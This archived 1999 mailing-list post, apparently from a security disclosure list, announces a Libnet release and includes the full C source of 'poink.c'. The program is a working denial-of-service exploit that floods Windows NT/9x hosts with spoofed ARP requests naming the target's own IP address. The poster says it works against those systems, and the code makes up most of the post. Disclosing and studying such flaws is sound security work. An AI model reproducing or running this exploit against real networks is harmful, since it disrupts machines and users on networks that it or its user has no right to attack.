[kay wrote]
|
| Could you be more specific with those XX-fields ?
The source ethernet address appears to be arbitrary. The destination
ethernet address needs to be either the address of the target host, or
a broadcast address.
| I started writing that proggie with plain syscalls, but it would only run
| on Linux, so I modified one of the examples in Route's Libnet 0.9 to do
| the stuff. I haven't tested it yes since I don't have LAN at home...
Didn't test your code. Rolled my from the same libnet example, and it
does work against NT and 95/98.
| For those who are still wondering what the hell Libnet is: check out
| http://www.infonexus.com/~demon9
My site has moved temporarily to http://lazy.accessus.net/~route.
Libnet is hosted there for the time being
(http://lazy.accessus.net/~route/Libnet) but will move to
http://www.packetfactory.net when I get that site up.
For those of you who don't know, Libnet is a library for portable
injection. It is the `libpwrite` analog to libpcap. I suppose this is
as good a time as any to announce the release of version 0.99 which adds
a lot of new functionality and fixes a few bugs.
Oh yah. Here's poink. Poink-poink!
/*
* $Id$
*
* poink.c - NT/9x DOS attack
*
* Code:
* Copyright (c) 1999 Mike D. Schiffman <mikeat_private>
* route|daemon9 <routeat_private>
* All rights reserved.
*
* Original Idea:
* Joel Jacobson (joelat_private)
*
* This simple exploit was written as per the specification from Joel
* Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html).
*
* Needs libnet 0.99.
* Currently: http://lazy.accessus.net/~route/libnet
* Soon: http://www.packetfactory.net/
*
* gcc poink.c -o poink -lnet
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#include <libnet.h>
u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
int send_arp(struct link_int *, u_long, u_char *);
void usage(u_char *);
int
main(int argc, char *argv[])
{
int c, amount;
char errbuf[256];
char *device = NULL;
struct link_int *l;
u_long ip;
amount = 20;
while ((c = getopt(argc, argv, "n:i:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
case 'n':
amount = atoi(optarg);
break;
default:
exit(EXIT_FAILURE);
}
}
if (!device)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
if (argc <= optind)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1)
{
fprintf(stderr, "Cannot resolve IP address\n");
exit(EXIT_FAILURE);
}
l = libnet_open_link_interface(device, errbuf);
if (!l)
{
fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
exit(EXIT_FAILURE);
}
while (amount--)
{
c = send_arp(l, ip, device);
if (c == -1)
{
/* bail on the first error */
break;
}
}
printf("\n");
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
int
send_arp(struct link_int *l, u_long ip, u_char *device)
{
int n;
u_char *buf;
if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
{
perror("libnet_init_packet memory:");
exit(EXIT_FAILURE);
}
/*
* Ethernet header
*/
libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
/*
* ARP header
*/
libnet_build_arp(ARPHRD_ETHER,
ETHERTYPE_IP,
6,
4,
ARPOP_REQUEST,
enet_src,
(u_char *)&ip,
enet_dst,
(u_char *)&ip,
NULL,
0,
buf + ETH_H);
n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);
fprintf(stderr, ".");
libnet_destroy_packet(&buf);
return (n);
}
void
usage(u_char *name)
{
fprintf(stderr, "%s -i interface [-n amount] ip\n", name);
}
--
I live a world of paradox... My willingness to destroy is your chance for
improvement, my hate is your faith -- my failure is your victory, a victory
that won't last.
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:42:18 PDT